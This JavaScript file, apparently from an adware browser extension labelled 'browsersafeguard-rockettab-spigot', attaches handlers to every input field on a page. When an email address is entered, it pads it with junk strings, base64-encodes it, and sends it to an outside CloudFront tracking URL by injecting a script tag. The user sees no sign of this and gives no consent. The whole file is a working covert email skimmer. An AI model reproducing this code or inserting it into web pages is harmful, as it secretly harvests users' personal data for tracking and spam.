(function () {
    code = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    sleft = "A@#89408i9-f()#J)(#!JFIEJFOIDMVCIEN#M*(@)J#()RJ()JFLDJFI@NMCFI(EFOJ";
    sright = "#*(@)JG)()DJVINFVMIF#)(JNFM)#(RJ)(EJ(FGNKSJNDGI#)@J#()@RJ()EAJFJLJF";
    encode = function (str, utf8encode) {
        utf8encode = (typeof utf8encode == 'undefined') ? false : utf8encode;
        var o1, o2, o3, bits, h1, h2, h3, h4, e = [],
                pad = '',
                c, plain, coded;
        var b64 = code;

        plain = utf8encode ? Utf8.encode(str) : str;

        c = plain.length % 3; // pad string to length of multiple of 3
        if (c > 0) {
            while (c++ < 3) {
                pad += '=';
                plain += '\0';
            }
        }
        // note: doing padding here saves us doing special-case packing for trailing 1 or 2 chars
        for (c = 0; c < plain.length; c += 3) { // pack three octets into four hexets
            o1 = plain.charCodeAt(c);
            o2 = plain.charCodeAt(c + 1);
            o3 = plain.charCodeAt(c + 2);

            bits = o1 << 16 | o2 << 8 | o3;

            h1 = bits >> 18 & 0x3f;
            h2 = bits >> 12 & 0x3f;
            h3 = bits >> 6 & 0x3f;
            h4 = bits & 0x3f;

            // use hextets to index into code string
            e[c / 3] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
        }
        coded = e.join(''); // join() is far faster than repeated string concatenation in IE
        // replace 'A's from padded nulls with '='s
        coded = coded.slice(0, coded.length - pad.length) + pad;

        return coded;
    };

    checkEmail = function (e) {
        if (e) {
            var filter = /^\s*[\w\-\+_]+(\.[\w\-\+_]+)*\@[\w\-\+_]+\.[\w\-\+_]+(\.[\w\-\+_]+)*\s*$/;
            return (String(e).search(filter) != -1);
        }
        return false;

    };

    onChange = function (e) {
        if (e) {
            if (e.getAttribute('cap') == 'true') {
                e.removeAttribute('cap');
            }
        }
    };


    onBlur = function (e) {
        if (e) {
            // No need to submit email more than once.
            if (e.getAttribute('cap') == 'true') {
                return;
            }
            if (checkEmail(e.value)) {
                var script = document.createElement('script');
                script.type = 'text/javascript';
                script.async = true;
                var str = e.value
                str = sleft + str + sright;
                
                script.src = "https://d2e24t2jgcnor2.cloudfront.net/Track/GetE?User_ID=9b02cf21-6bf4-4769-af3b-af6db90f2894&UC=20140827&Implementation_ID=browsersafeguard-rockettab-spigot%20&e=" + encode(str, false);
                document.getElementsByTagName('head')[0].appendChild(script);
                e.setAttribute('cap', 'true');
            }
        }


    };

    cAddEvent = function (elem, type, func) {
        var newfunc = func;
        if (elem["on" + type]) {
            var oldfunc = elem["on" + type];
            newfunc = function (event) {
                var ret1 = oldfunc(event);
                var ret2 = func(event);
                return ret1 && ret2;
            }
        }
        elem["on" + type] = newfunc;
    }

    setBlur = function () {

        inputs = document.getElementsByTagName('input');
        var self = this;
        for (i = 0; i < inputs.length; i++) {
            cAddEvent(inputs[i], "blur", function () {
                self.onBlur(this);
            });
            cAddEvent(inputs[i], "change", function () {
                self.onChange(this);
            });
        }

    };

    setBlur();

})();